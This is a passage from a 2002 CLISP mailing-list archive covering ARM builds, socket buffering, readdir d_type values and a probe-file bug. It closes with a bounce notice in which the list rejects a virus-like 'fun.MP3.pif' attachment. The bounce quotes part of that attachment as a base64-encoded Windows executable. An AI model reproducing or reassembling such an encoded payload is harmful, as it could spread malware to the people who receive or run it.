CLOCC install Q" > > * Sent on Tue, 12 Feb 2002 09:13:24 -0800 (PST) > > * Honorable Jason Dagit writes: > > > > $ export LISPTYPE="/usr/bin/clisp" > > export LISPTYPE=clisp > > note that the variable specifies _type_, not _path_ > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux > Keep Jerusalem united! > Read, think and remember! > .sigs are like your face - rarely seen by you and uglier than you think > From rxt1077@oak.njit.edu Thu Feb 14 07:26:53 2002 Received: from mail-shield1.njit.edu ([128.235.251.171]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16bNme-0005RO-00 for ; Thu, 14 Feb 2002 07:26:52 -0800 Received: (from uucp@localhost) by mail-shield1.njit.edu (8.11.6/8.11.6) id g1EFQi626662; Thu, 14 Feb 2002 10:26:44 -0500 (EST) Received: from nodnsquery(128.235.204.78) by mail-shield1.njit.edu via csmap (V4.1) id srcAAAdkaOe0; Thu, 14 Feb 02 10:26:43 -0500 Received: from localhost (rxt1077@localhost) by hansa.njit.edu (8.10.2+Sun/8.8.5) with ESMTP id g1EFQhx06297; Thu, 14 Feb 2002 10:26:43 -0500 (EST) From: ryan tolboom cis stnt To: ryan tolboom cis stnt cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp on ARM processor In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 14 07:27:11 2002 X-Original-Date: Thu, 14 Feb 2002 10:26:43 -0500 (EST) OK, I figured it out. I'll include a link to a web page I made about it if your want to see more, http://web.njit.edu/~rxt1077/clisp-maxima-zaurus.html -ryan On Wed, 6 Feb 2002, ryan tolboom cis stnt wrote: > Hello! > > I am trying to compile clisp on an ARM processor, and am experiencing some > difficulty. I was wondering if anyone has been succesfull in doing this > or if you would have some advice. > > I noticed an earlier post about clisp on an iPAQ running > linux. Unfortunately the former post seemed to end without saying > whether or not he got it working. > > My goal is to make a binary for the Zaurus SL-5000D, which also uses the > StrongARM processor and runs linux. I am currently compiling > on a compaq development machine that has a StrongARM processor and > runs linux. > > Here is some info that I hope will help: > > The host system is detected as armv4l-unknown-linux-gnu. > > Source code used: > CVS as of Wed Feb 6 02:00:32 EST 2002 > > Commands Executed: > [ from the clisp directory ] > ./configure > > [ it completes and gives me this output ] > make: *** No rule to make target `avcall-armv4l.lo', needed by `avcall.lo'. Stop. > > To continue building CLISP, the following commands are recommended > (cf. unix/INSTALL step 4): > cd src > ./makemake --with-readline --with-gettext > Makefile > make config.lisp > vi config.lisp > make > make check > > cd src > ./makemake --with-readline --with-gettext > Makefile > make config.lisp > > [ after this I add -DSAFETY=3 to the CFLAGS in Makefile ] > [ as was recommended on this list previously. I then run... ] > make > > [ it gives me the result ] > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -DSAFETY=3 -c spvw.c > In file included from lispbibl.d:1751, > from spvw.d:22: > unix.d:874: conflicting types for `iconv' > /usr/include/iconv.h:45: previous declaration of `iconv' > In file included from spvw.d:22: > lispbibl.d:6933: warning: volatile register variables don't work as you > might wish > spvw.d: In function `main': > spvw.d:1709: warning: variable `argv_memneed' might be clobbered by > `longjmp' or `vfork' > make: *** [spvw.o] Error 1 > > Any ideas? Need more info? Please let me know, > > -ryan > > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From Joerg-Cyril.Hoehle@t-systems.com Thu Feb 14 07:57:30 2002 Received: from [62.225.183.235] (helo=mail1.telekom.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16bOGG-0000Sa-00 for ; Thu, 14 Feb 2002 07:57:28 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 14 Feb 2002 16:44:01 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <1ZR5M5AG>; Thu, 14 Feb 2002 16:45:35 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] buffering and partial read/writes (was: socket-streams vs. two-wa y streams) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 14 07:58:13 2002 X-Original-Date: Thu, 14 Feb 2002 16:45:34 +0100 Todd Sabin wrote: >Anyway, food for thought. With these changes, my web proxy gets the >same throughput for large downloads as I get with the C proxy I have >been using, ~190K/s. I.e. the limiting factor is my bandwidth. When >I have to use unbuffered sockets, the best it could do was ~30K/s. Do you think READ/WRITE-SOME (see below) would be enough for your task? > > it's totally impossible to read a client's requests unless they = happen > > to terminate on 4K boundaries (or the client closes his end of = the > > socket with shutdown(2) before receiving a reply). > The other >piece needed for this is to change full_read in unixaux.d to return >less than 4096 bytes of data if possible. (Other _read functions >would need to be similarly modified.) With those changes buffered >sockets are quite usable, though the hang problem still exists. full_read() ought to maintain the invariant that its name claims. In my ancient CLISP-TODO file I have a notice about implementing = something I choose to name READ-SOME[-BYTES/SEQUENCE] and its WRITE- = equivalent. I think I never did it, or possibly only experimentally for = Amiga-CLISP and not in mainstream. Rationale: to put the programmer at equal with the C/python/perl etc. = guys who can read or write *as much as is currently available* using = read(), or write as much as fits in one go. This gives buffered-style = performance-enhanced i/o for interactive streams (sockets and = non-file-i/o are to be supported) at a very low implementation cost for = CLISP. Adding this may be an easy fix to a couple of problems whose "better" = 100% solution is seemingly not agreed upon or completely thought out = yet(?). I just discovered while reading about simple streams that Allegro has: REAd-SEQUENCE sequence stream &key start end PARTIAL-FILL >Note that Allegro CL uses the additional partial-fill >keyword argument, which is not specified in ANSI CL.=20 http://www.franz.com/support/documentation/6.1/doc/streams.htm So maybe an extra name like READ-SOME is unneeded and READ-SEQUENCE = could be enhanced instead with :PARTIAL-FILL, introducing portability = with AllegroCL. Writing: the number of characters written must be returned. They define = GET-SOME-RAW-DATA in their base64 example though. Simple-streams = documents WRITE-VECTOR, which has interesting behaviour I never thought = about (blocking for first character, non-blocking afterwards), whereas = my thoughts went along their WRITE-BYTES (device level, pass through to = write()). http://www.franz.com/support/documentation/6.1/doc/pages/operators/excl/= write-vector.htm So maybe CLISP may as well introduce another name. I didn't think about interaction of this partial stuff with = variable-size stream-element types (idea predates their = implementation). Sam>BTW, what is this 4096 world constant? IIRC Bruno and I introduced the 4KB buffering size many years ago, = after some benchmarking of mine showing that 4KB was an excellent = compromise. Larger buffers did not noticably speed up execution, = smaller ones (like 512 bytes) were noticably slower. Regards, J=F6rg H=F6hle. From klaus_momberger@yahoo.com Thu Feb 14 12:54:53 2002 Received: from web14601.mail.yahoo.com ([216.136.224.79]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16bSu2-00086g-00 for ; Thu, 14 Feb 2002 12:54:50 -0800 Message-ID: <20020214205449.90806.qmail@web14601.mail.yahoo.com> Received: from [194.162.159.26] by web14601.mail.yahoo.com via HTTP; Thu, 14 Feb 2002 12:54:49 PST From: Klaus Momberger To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] linux:readdir always returns d_type=0 ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 14 13:06:40 2002 X-Original-Date: Thu, 14 Feb 2002 12:54:49 -0800 (PST) Hello, I was just wondering why linux:readdir is always returning "0" as d_type, no matter if the file is a directory or regular file, such as : ---------------------------------------------------- > (setf dir (linux:opendir "/etc")) # > (setf file (linux:readdir dir)) #S(LINUX:dirent :|d_ino| 129793 :|d_off| 12 :|d_reclen| 16 :|d_type| 0 :|d_name| ".") > (slot-value file 'linux::|d_type|) 0 > (setf file (linux:readdir dir)) #S(LINUX:dirent :|d_ino| 130395 :|d_off| 52 :|d_reclen| 24 :|d_type| 0 :|d_name| "passwd") > (slot-value file 'linux::|d_type|) 0 > --------------------------------------------------- I was expecting values matching linux::S_IFDIR, etc. Am I missing something ? What is it ? regards, Klaus Momberger __________________________________________________ Do You Yahoo!? Send FREE Valentine eCards with Yahoo! Greetings! http://greetings.yahoo.com From kaz@footprints.net Thu Feb 14 16:19:33 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16bW68-0003l5-00 for ; Thu, 14 Feb 2002 16:19:32 -0800 Received: from kaz (helo=localhost) by ashi.FootPrints.net with local-esmtp (Exim 3.16 #1) id 16bW61-0007OM-00; Thu, 14 Feb 2002 16:19:25 -0800 From: Kaz Kylheku To: Klaus Momberger cc: Subject: Re: [clisp-list] linux:readdir always returns d_type=0 ? In-Reply-To: <20020214205449.90806.qmail@web14601.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 14 16:20:04 2002 X-Original-Date: Thu, 14 Feb 2002 16:19:25 -0800 (PST) On Thu, 14 Feb 2002, Klaus Momberger wrote: > Date: Thu, 14 Feb 2002 12:54:49 -0800 (PST) > From: Klaus Momberger > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] linux:readdir always returns d_type=0 ? > > Hello, > > I was just wondering why linux:readdir is always > returning "0" as d_type, no matter if the file > is a directory or regular file, such as : Hi Klaus, The distinction between a file and directory is not recorded in a directory entry. A directory is just a list of filenames. Or, more precisely, it's an association list of filenames and their corresponding inode numbers. To get information about an object, you must use the stat() or lstat() function. I don't know what the d_type field is; it might have a meaning on some file systems that store type information in the directory entry. > I was expecting values matching linux::S_IFDIR, etc. > Am I missing something ? What is it ? Those would be applicable to the |st_mode| field of the structure returned by linux:stat. CLISP provides Lisp functions for predicate testing, linux:S_ISDIR, and so on. ;; silly example (defun exists-and-is-a-directory (path) (multiple-value-bind (result stat-struct) (linux:stat path) (when (/= result -1) (linux:S_ISDIR (slot-value stat-struct 'linux::|st_mode|))))) This is ugly stuff: wrap, wrap, wrap. :) From samuel.steingold@verizon.net Thu Feb 14 16:36:51 2002 Received: from out018pub.verizon.net ([206.46.170.96] helo=out018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16bWMq-0001qD-00 for ; Thu, 14 Feb 2002 16:36:48 -0800 Received: from gnu.org ([151.203.228.35]) by out018.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020215003646.TWBP25425.out018.verizon.net@gnu.org>; Thu, 14 Feb 2002 18:36:46 -0600 To: Klaus Momberger Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] linux:readdir always returns d_type=0 ? References: <20020214205449.90806.qmail@web14601.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020214205449.90806.qmail@web14601.mail.yahoo.com> Message-ID: Lines: 72 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 14 16:37:08 2002 X-Original-Date: 14 Feb 2002 19:33:46 -0500 > * In message <20020214205449.90806.qmail@web14601.mail.yahoo.com> > * On the subject of "[clisp-list] linux:readdir always returns d_type=0 ?" > * Sent on Thu, 14 Feb 2002 12:54:49 -0800 (PST) > * Honorable Klaus Momberger writes: > > I was just wondering why linux:readdir is always > returning "0" as d_type, no matter if the file > is a directory or regular file, such as : > > ---------------------------------------------------- > > (setf dir (linux:opendir "/etc")) > # > > (setf file (linux:readdir dir)) > #S(LINUX:dirent :|d_ino| 129793 :|d_off| 12 > :|d_reclen| 16 :|d_type| 0 > :|d_name| ".") > > (slot-value file 'linux::|d_type|) > 0 > > (setf file (linux:readdir dir)) > #S(LINUX:dirent :|d_ino| 130395 :|d_off| 52 > :|d_reclen| 24 :|d_type| 0 > :|d_name| "passwd") > > (slot-value file 'linux::|d_type|) > 0 I do not observe this: [1]> (setf dir (linux:opendir "/etc")) # [3]> (setf file (linux:readdir dir)) #S(LINUX:dirent :|d_ino| 242881 :|d_off| 12 :|d_reclen| 16 :|d_type| 4 :|d_name| ".") [4]> (setf file (linux:readdir dir)) #S(LINUX:dirent :|d_ino| 2 :|d_off| 24 :|d_reclen| 16 :|d_type| 4 :|d_name| "..") [5]> (setf file (linux:readdir dir)) #S(LINUX:dirent :|d_ino| 259073 :|d_off| 44 :|d_reclen| 24 :|d_type| 4 :|d_name| "sysconfig") [6]> (setf file (linux:readdir dir)) #S(LINUX:dirent :|d_ino| 291457 :|d_off| 56 :|d_reclen| 16 :|d_type| 4 :|d_name| "X11") [7]> (setf file (linux:readdir dir)) #S(LINUX:dirent :|d_ino| 245042 :|d_off| 72 :|d_reclen| 24 :|d_type| 8 :|d_name| "fstab") [8]> (setf file (linux:readdir dir)) #S(LINUX:dirent :|d_ino| 245046 :|d_off| 84 :|d_reclen| 16 :|d_type| 8 :|d_name| "mtab") [9]> (setf file (linux:readdir dir)) #S(LINUX:dirent :|d_ino| 242884 :|d_off| 104 :|d_reclen| 24 :|d_type| 8 :|d_name| "modules.conf") [10]> (setf file (linux:readdir dir)) #S(LINUX:dirent :|d_ino| 243046 :|d_off| 128 :|d_reclen| 24 :|d_type| 8 :|d_name| "mime.types") [11]> (setf file (linux:readdir dir)) #S(LINUX:dirent :|d_ino| 243045 :|d_off| 144 :|d_reclen| 24 :|d_type| 8 :|d_name| "mailcap") [12]> (setf file (linux:readdir dir)) #S(LINUX:dirent :|d_ino| 243048 :|d_off| 164 :|d_reclen| 24 :|d_type| 8 :|d_name| "bashrc") [13]> (setf file (linux:readdir dir)) #S(LINUX:dirent :|d_ino| 243047 :|d_off| 176 :|d_reclen| 16 :|d_type| 10 :|d_name| "rmt") this is with the current development CVS. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! My inferiority complex is not as good as yours. From tsabin@optonline.net Thu Feb 14 18:23:25 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16bY20-0006Pz-00 for ; Thu, 14 Feb 2002 18:23:24 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id VAA10964; Thu, 14 Feb 2002 21:21:54 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] buffering and partial read/writes (was: socket-streams vs. two-wa y streams) References: From: Todd Sabin In-Reply-To: ("Hoehle, Joerg-Cyril"'s message of "Thu, 14 Feb 2002 16:45:34 +0100") Message-ID: Lines: 53 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 14 18:24:02 2002 X-Original-Date: 14 Feb 2002 21:21:54 -0500 "Hoehle, Joerg-Cyril" writes: > Todd Sabin wrote: > >Anyway, food for thought. With these changes, my web proxy gets the > >same throughput for large downloads as I get with the C proxy I have > >been using, ~190K/s. I.e. the limiting factor is my bandwidth. When > >I have to use unbuffered sockets, the best it could do was ~30K/s. > > Do you think READ/WRITE-SOME (see below) would be enough for your task? Probably, though what I've already done is necessary for providing that, I think. > > > it's totally impossible to read a client's requests unless they happen > > > to terminate on 4K boundaries (or the client closes his end of the > > > socket with shutdown(2) before receiving a reply). > > The other > >piece needed for this is to change full_read in unixaux.d to return > >less than 4096 bytes of data if possible. (Other _read functions > >would need to be similarly modified.) With those changes buffered > >sockets are quite usable, though the hang problem still exists. > > full_read() ought to maintain the invariant that its name claims. If we're going to make it possible to read something other than a full 4K block, then we have to have a function to do it. We could make a partial_read, but it would just duplicate 99% of full_read, so it doesn't seem worth it. I guess we could change the name of full_read to full_or_partial_read or read_some or something else.. > In my ancient CLISP-TODO file I have a notice about implementing > something I choose to name READ-SOME[-BYTES/SEQUENCE] and its WRITE- > equivalent. I think I never did it, or possibly only experimentally > for Amiga-CLISP and not in mainstream. > > Rationale: to put the programmer at equal with the C/python/perl > etc. guys who can read or write *as much as is currently available* > using read(), or write as much as fits in one go. This gives > buffered-style performance-enhanced i/o for interactive streams > (sockets and non-file-i/o are to be supported) at a very low > implementation cost for CLISP. > > Adding this may be an easy fix to a couple of problems whose > "better" 100% solution is seemingly not agreed upon or completely > thought out yet(?). I was thinking that adding read-sequence and write-sequence ala Allegro would be nice, too. But the patch I sent is a necessary first step, AFAICT. And it doesn't (or shouldn't) change the semantics of any user visible behavior, aside from making some calls return sooner than they otherwise would have. Todd From kaz@footprints.net Thu Feb 14 21:46:04 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16bbC8-0006Wk-00 for ; Thu, 14 Feb 2002 21:46:04 -0800 Received: from kaz (helo=localhost) by ashi.FootPrints.net with local-esmtp (Exim 3.16 #1) id 16bbC6-0001aQ-00; Thu, 14 Feb 2002 21:46:02 -0800 From: Kaz Kylheku To: Sam Steingold cc: Klaus Momberger , Subject: Re: [clisp-list] linux:readdir always returns d_type=0 ? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 14 21:47:01 2002 X-Original-Date: Thu, 14 Feb 2002 21:46:02 -0800 (PST) On 14 Feb 2002, Sam Steingold wrote: > > I was just wondering why linux:readdir is always > > returning "0" as d_type, no matter if the file > > is a directory or regular file, such as : > > > > I do not observe this: > > [1]> (setf dir (linux:opendir "/etc")) > # > [3]> (setf file (linux:readdir dir)) > #S(LINUX:dirent :|d_ino| 242881 :|d_off| 12 :|d_reclen| 16 :|d_type| 4 > :|d_name| ".") > [4]> (setf file (linux:readdir dir)) > #S(LINUX:dirent :|d_ino| 2 :|d_off| 24 :|d_reclen| 16 :|d_type| 4 > :|d_name| "..") Interesting. What kind of filesystem is your /etc on? From peter.wood@worldonline.dk Fri Feb 15 10:27:21 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16bn4p-0002fB-00 for ; Fri, 15 Feb 2002 10:27:19 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id BB9CEB617 for ; Fri, 15 Feb 2002 19:26:01 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g1FICB600352; Fri, 15 Feb 2002 19:12:11 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020215191211.A225@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] probe-file bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 15 10:28:12 2002 X-Original-Date: Fri, 15 Feb 2002 19:12:11 +0100 Hi The following works on gcl-2.5.0, Lispworks-4.1 (personal), and Allegro 6.1 (trial), but fails in clisp. # [2]> (probe-file #"/home/prw/.inputrc") *** - no file name given: #P"/home/prw/.inputrc" 1. Break [3]> :a [4]> (probe-file "/home/prw/.inputrc") *** - no file name given: #P"/home/prw/.inputrc" 1. Break [5]> :a [6]> (probe-file "/home/prw/.pinputrc") *** - no file name given: #P"/home/prw/.pinputrc" 1. Break [7]> :a [8]> (dribble) -rw-r--r-- 1 prw nofiles 2462 Jul 30 2001 /home/prw/.inputrc GNU CLISP 2.27 (released 2001-07-17) (built 3205317348) (memory 3205318651) Linux localhost.localdomain 2.4.5 #1 Fri Jun 22 23:12:44 CEST 2001 i586 unknown [6] should return nil, and [2] and [4] should return the name of the file. Regards, Peter From MAILER-DAEMON Sat Feb 16 00:58:21 2002 Received: from mail by usw-sf-list1.sourceforge.net with local (Exim 3.31-VA-mm2 #1 (Debian)) id 16c0fl-0005Xg-00 for ; Sat, 16 Feb 2002 00:58:21 -0800 X-Failed-Recipients: clisp-list@lists.sourceforge.net From: Mail Delivery System To: clisp-list@lists.sourceforge.net Message-Id: Subject: [clisp-list] Mail delivery failed: returning message to sender Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 16 00:59:01 2002 X-Original-Date: Sat, 16 Feb 2002 00:58:21 -0800 This message was created automatically by mail delivery software (Exim). A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: clisp-list@lists.sourceforge.net This message has been rejected because it has a potentially executable attachment "fun.MP3.pif" This form of attachment has been used by trecent viruses such as that described in http://www.fsecure.com/v-descs/love.htm If you meant to send this file then please package it up as a zip file and resend it. ------ This is a copy of the message, including all the headers. ------ ------ The body of the message is 39774 characters long; only the first ------ 10240 or so are included here. Return-path: Received: from [61.1.254.233] (helo=aol.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16c0fQ-0005Gq-00 for ; Sat, 16 Feb 2002 00:58:01 -0800 From: " Anna" To: clisp-list@lists.sourceforge.net Subject: Re: MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC1234567890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 Message-Id: Date: Sat, 16 Feb 2002 00:58:01 -0800 --====_ABC1234567890DEF_==== Content-Type: multipart/alternative; boundary="====_ABC0987654321DEF_====" --====_ABC0987654321DEF_==== Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable --====_ABC0987654321DEF_====-- --====_ABC1234567890DEF_==== Content-Type: audio/x-wav; name="fun.MP3.pif" Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAAAoxs1SbKejAWynowFsp6MBF7uvAWinowHvu60BbqejAYS4qQF2p6MBhLin AW6nowEOuLABZaejAWynogHyp6MBhLioAWCnowHUoaUBbaejAVJpY2hsp6MBAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAUEUAAEwBAwCoIP47AAAAAAAAAADgAA8BCwEGAABwAAAAEAAAANAAAEBHAQAA 4AAAAFABAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAYAEAAAQAAAAAAAACAAAAAAAQAAAQ AAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAABkUAEAMAEAAABQAQBkAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQAAAAEAAAAAAAAAAEAAAA AAAAAAAAAAAAAACAAADgAAAAAAAAAAAAcAAAAOAAAABqAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5y c3JjAAAAABAAAABQAQAAAgAAAG4AAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAkCCN1hYc1ltHkUdCgBADdnAAAAEAEAJgEAve3/ //9Vi+wPvkUIi8iD4APB+QLB4ASKiWiiQACITQgX3bH//00Mi9GD4Q/B+gQLwsHhAoqAGUUJMRDB Ztvbi9AWBgvKNj8wHB1ht9tNCh8Li1Bdw1nGMhdLth89XVpiWnYoO3uKBI0JCkQKPXH9Yc8dCDZU MFGDfQwB3ZtmuxD8PQP9/v89dQ4eirbf3f8AUOgBAACbWcnDIwJ1EhNIARZR7MjNxxdWWevlA3wY AlEbR27tP9f+//+DxAw1YvzJUVO/ffv/i10MVlcz9jP/hdt+WxcQagOJHI1DAjPS2Hdf+Fn38Yld H/jB5wJH/3UQA8Zey/Zv28wg+KoMikX6iGUNCA77vdvebgUPjRFqBFAl/CI/6oNt9v/2ti2DRwSD xgbEFDvzfL2Lx19eW3T+v739ikQkBDzFAwQDCsiA4XCA+WB8AyxHw/+XptkHQEEwBATDPCsPlcCD wBd+c78+pYpNbMjRwOACwGcKwnm7Ff6LVRjA4QSIx62K0BECCsoJX/htHBwGCkUUiG5NIIgBP7C2 bbaMCAGkBwygCiLLYO4QugoUEHXNdtm+FP1QA/7/xBTt9mDOJzVA1bBAxCw4Qltoy9t0OAQMdDMQ GxIYl63Ntn//agGICOsfEBQODASt0P3C/ohtdQRqAusL/U0N+C+02wJY9jPAA2X/OXwkDH48i+3v /l8DCFNWav5bjXACK9gNGAPHUIpGAQMofOi6Bgb/A/5oAgw9Cm9vWCb4P40EMzslFHzUQT+42xtG w1aLdEZW/wRr8FlQvg3/cwrIAp+AJDAA4F7DHQiz79tFKxBWIRTKLyH7zfDDEF4ggewYzvEIiU38 UMnf+G13agDvaAIRgP8VAKCRhcAPhXb78tunAA5WV74UwI196KUr+McCDR0X3AA1KIXoTaUw9MzW bXcD6GalPlA/pDskW9i4Fes9dWSE9ApeKbfl1j1oEENQHQyhWRxZdGyzvfcIgKQFGHU0GIC9Dzs2 dnZ0KDFQv0AG/Iuiezf2fYkBjY0XURH2xbAB6ws9uW8XJjJiwgSsi/FoZGkP273dIgMthIMoaDAN i84PGGpw7PexEE/HBCQgkIkGTFlZ4Yb5zTM6gz4AdQWA/zZfW/ruDRtYi8GDIAA4Abq6f/h3dAeA QAJZw8gPt0gMUQQK3BeeeQgD8/80jaxfdnN76woGA0AEUQ+FlGg4wQTfZha6WSQIFMMkRAT9W5va i0xIhf8rH/8CdA5mixA23v6/AjQBZjvWdw9yEkdAQBUIcuVDXwzfuNCkpljrEsj/6/PAf7t1FBRH 